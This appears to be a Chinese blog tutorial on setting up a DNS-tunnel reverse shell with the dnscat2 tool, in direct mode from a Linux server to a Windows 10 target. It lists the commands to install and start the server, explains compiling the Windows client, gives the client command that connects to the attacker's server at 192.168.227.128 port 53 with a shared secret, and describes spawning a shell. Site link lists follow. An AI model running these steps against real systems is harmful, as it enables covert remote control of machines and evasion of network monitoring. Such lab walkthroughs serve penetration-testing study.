使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git  
cd dnscat2/server/
gem install bundler
apt-get install ruby-dev
bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐

  1. 某60内网渗透之DNS隧道通信初探-dnscat2与C&C

    2024-07-18 15:08:04       53 阅读
  2. Shell学习 - 2.25 Shell $[]:整数进行数学运算

    2024-07-18 15:08:04       28 阅读
  3. <span style='color:red;'>DNS</span><span style='color:red;'>隧道</span>

    DNS隧道

    2024-07-18 15:08:04      32 阅读
  4. android wifi wifip2pmanager

    2024-07-18 15:08:04       25 阅读
  5. 华为配置三层组网隧道转发示例

    2024-07-18 15:08:04       36 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-18 15:08:04       70 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-18 15:08:04       74 阅读
  3. 在Django里面运行非项目文件

    2024-07-18 15:08:04       62 阅读
  4. Python语言-面向对象

    2024-07-18 15:08:04       72 阅读

热门阅读

  1. SpinalHDL之Flow

    2024-07-18 15:08:04       24 阅读
  2. 精通JVM监控与调优:工具使用与命令指南

    2024-07-18 15:08:04       24 阅读
  3. C#配置文件中AppSettings的读写

    2024-07-18 15:08:04       18 阅读
  4. Flutter 开源库学习

    2024-07-18 15:08:04       22 阅读
  5. 白骑士的C++教学附加篇 5.2 代码规范与最佳实践

    2024-07-18 15:08:04       18 阅读
  6. 基于STM32设计的人体健康监测系统(华为云IOT)(189)

    2024-07-18 15:08:04       23 阅读
  7. x264 写入码流函数分析与介绍

    2024-07-18 15:08:04       23 阅读
  8. Spring Boot 动态多数据源配置

    2024-07-18 15:08:04       23 阅读
  9. react中状态管理useState

    2024-07-18 15:08:04       18 阅读
  10. 深度学习,人工智能

    2024-07-18 15:08:04       19 阅读
  11. 英文Essay写作质量不能出现问题

    2024-07-18 15:08:04       23 阅读
  12. C++代码_让室友坑我

    2024-07-18 15:08:04       22 阅读